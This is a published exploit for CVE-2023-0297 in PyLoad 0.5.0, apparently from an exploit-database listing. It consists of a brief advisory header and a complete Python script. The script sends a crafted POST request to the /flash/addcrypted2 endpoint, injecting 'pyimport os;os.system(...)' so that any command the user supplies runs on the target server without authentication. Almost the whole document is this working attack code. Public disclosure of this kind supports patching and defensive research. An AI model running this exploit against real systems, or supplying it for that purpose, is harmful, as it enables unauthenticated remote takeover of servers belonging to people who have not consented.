Authored by Gabriel Lima

PyLoad version 0.5.0 suffers from an unauthenticated remote code execution vulnerability.

advisories | CVE-2023-0297

# Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
# Date: 06-10-2023
# Credits: bAu @bauh0lz
# Exploit Author: Gabriel Lima (0xGabe)
# Vendor Homepage: https://pyload.net/
# Software Link: https://github.com/pyload/pyload
# Version: 0.5.0
# Tested on: Ubuntu 20.04.6
# CVE: CVE-2023-0297

import requests, argparse

parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()

def doRequest(url):
try:
res = requests.get(url)
if res.status_code == 200:
return True
else:
return False

except requests.exceptions.RequestException as e:
print("[!] Maybe the host is offline :", e)
exit()

def runExploit(url, cmd):
endpoint = url + '/flash/addcrypted2'
if " " in cmd:
validCommand = cmd.replace(" ", "%20")
else:
validCommand = cmd

payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
print('[+] The exploit has be executeded in target machine. ')

def main(targetUrl, Command):
print('[+] Check if target host is alive: ' + targetUrl)
alive = doRequest(targetUrl)
if alive == True:
print("[+] Host up, let's exploit! ")
runExploit(targetUrl,Command)
else:
print('[-] Host down! ')

if(arguments.url != None and arguments.cmd != None):
targetUrl = arguments.url
Command = arguments.cmd
main(targetUrl, Command)